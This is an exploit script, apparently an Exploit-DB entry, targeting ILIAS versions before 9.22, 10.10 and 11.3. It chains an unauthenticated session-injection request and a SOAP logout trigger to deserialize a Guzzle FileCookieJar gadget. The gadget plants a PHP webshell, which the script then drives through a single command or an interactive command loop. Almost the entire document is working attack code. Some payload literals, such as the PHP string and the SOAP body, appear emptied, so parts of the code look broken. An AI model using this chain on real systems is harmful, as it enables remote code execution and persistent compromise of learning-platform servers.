#!/usr/bin/env python3 # # Exploit Title: ILIAS <= 9.21 / 10.9 / 11.2 - Unauthenticated PHP Object Injection (RCE) # Date: 2026-08-31 # Exploit Author: DigiProSec # Vendor Homepage: https://www.ilias.de # Software Link: https://github.com/ILIAS-eLearning/ILIAS # Version: ILIAS < 9.22, 10.0 < 10.10, 11.0 < 11.3 (fixed in 9.22 / 10.10 / 11.3) # Tested on: Rocky Linux 9, Apache + PHP-FPM 8.2, ILIAS 10.9 (MariaDB 10.11 backend) # CVE: CVE-2026-80428 # # CVE-2026-80428 — Unauthenticated PHP Object Injection via Shibboleth # Injection via Shibboleth back-channel logout endpoint (RCE as web server user) # # Chain: # 1. ltiauth.php (auth-exempt LTI entry point) stores the entire request # parameter array into the session table (ilSession::set on # 'lti13_login_data'). A "\w+|" marker inside a parameter value breaks the # custom session parser, so our raw serialized object is handed to # unserialize() as if it were a session value. # 2. shib_logout.php (auth-exempt Shibboleth back-channel) — a POST with any # non-empty body starts a SoapServer whose LogoutNotification() handler # unserializes EVERY live session row with no class allowlist. # 3. Gadget: GuzzleHttp\Cookie\FileCookieJar (bundled in ILIAS's vendor tree). # __destruct() -> save($this->filename) -> file_put_contents($filename, # json_encode($cookies)). Attacker-chosen path + JSON-embedded PHP = webshell. # # Tested: ILIAS 10.9 on Rocky Linux 9 (Apache + PHP-FPM 8.2, MariaDB backend). # Notes: - v11.x ships a broken shib_logout.php variant (null $DIC) and does # not reach the vulnerable code as packaged; v9/v10 are exploitable. # - The target's docroot disk path is needed for the file write # (--path). Defaults to the standard /var/www/ilias/public. # - If ILIAS was configured with a fixed http path, requests must carry # that hostname (--host-header). # # Usage: python3 CVE-2026-80428.py [--cmd 'id'] # python3 CVE-2026-80428.py 10.10.10.20 --host-header lms.example --shell # import argparse, http.client, re, secrets, ssl, sys, urllib.parse def s(x): b = x.encode() if isinstance(x, str) else x return b's:' + str(len(b)).encode() + b':"' + b + b'";' def filecookiejar(path: str) -> bytes: php = b'' # PHP8: bareword index fatals; chr() avoids quotes data = (s('Name') + s('util') + s('Value') + s(php) + s('Domain') + s('ilias') + s('Path') + s('/') + s('Max-Age') + b'N;' + s('Expires') + b'i:1999999999;' + s('Secure') + b'b:0;' + s('Discard') + b'b:0;' + s('HttpOnly') + b'b:0;') setcookie = (b'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{' + s('\x00GuzzleHttp\\Cookie\\SetCookie\x00data') + b'a:9:{' + data + b'}}') return (b'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{' + s('\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies') + b'a:1:{i:0;' + setcookie + b'}' + s('\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode') + b'b:0;' + s('\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename') + s(path) + s('\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies') + b'b:1;}') SOAP = (b'\n' b'x' b'') class Target: def __init__(self, host, port, host_header): self.host, self.port = host, port self.hh = host_header or host self.ctx = ssl._create_unverified_context() def req(self, method, path, body=None, ctype=None): conn = (http.client.HTTPSConnection if self.port == 443 else http.client.HTTPConnection)( self.host, self.port, context=self.ctx if self.port == 443 else None, timeout=30) h = {"Host": self.hh} if ctype: h["Content-Type"] = ctype conn.request(method, path, body=body, headers=h) r = conn.getresponse(); d = r.read(); conn.close() return r.status, d def main(): ap = argparse.ArgumentParser(description="CVE-2026-80428 - ILIAS unauthenticated PHP object injection RCE") ap.add_argument("target") ap.add_argument("--port", type=int, default=443) ap.add_argument("--host-header", default=None, help="vhost/ILIAS client hostname if required") ap.add_argument("--path", default="/var/www/ilias/public", help="ILIAS docroot on disk (v10/11: .../public; v9: repo root)") ap.add_argument("--cmd", default="id") ap.add_argument("--shell", action="store_true", help="interactive command loop") a = ap.parse_args() t = Target(a.target, a.port, a.host_header) shell = f"util_{secrets.token_hex(3)}.php" disk = f"{a.path.rstrip('/')}/{shell}" print(f"[*] seeding session via ltiauth.php (writes {disk})") body = (b"lti_message_hint=1%3A2&inj=" + urllib.parse.quote_from_bytes(b"junk|" + filecookiejar(disk)).encode()) st, _ = t.req("POST", "/ltiauth.php", body, "application/x-www-form-urlencoded") if st not in (200, 302): print(f"[-] ltiauth.php returned {st} — is this ILIAS with the LTI entry point exposed?") sys.exit(1) print("[*] triggering unserialize via shib_logout.php (SOAP LogoutNotification)") st, d = t.req("POST", "/shib_logout.php", SOAP, "text/xml") if b"LogoutNotificationResponse" not in d and b"" not in d: print(f"[-] trigger response looks wrong (HTTP {st}): {d[:160]!r}") sys.exit(1) def run(cmd): st, d = t.req("GET", f"/{shell}?x=" + urllib.parse.quote(cmd)) m = re.search(rb'"Value":"(.*?)","Domain"', d, re.S) return (m.group(1) if m else d).decode(errors="replace").strip() out = run(a.cmd) if not out: print("[-] webshell did not respond — wrong --path / docroot not writable by web user?") sys.exit(1) print(f"[+] webshell live: {'https' if a.port==443 else 'http'}://{a.target}:{a.port}/{shell}?x=") print(f"[+] {a.cmd}: {out}") if a.shell: print("[*] interactive loop — 'exit' quits") while True: try: cmd = input("ilias$ ").strip() except (EOFError, KeyboardInterrupt): break if cmd in ("exit", "quit"): break if cmd: print(run(cmd)) if __name__ == "__main__": main()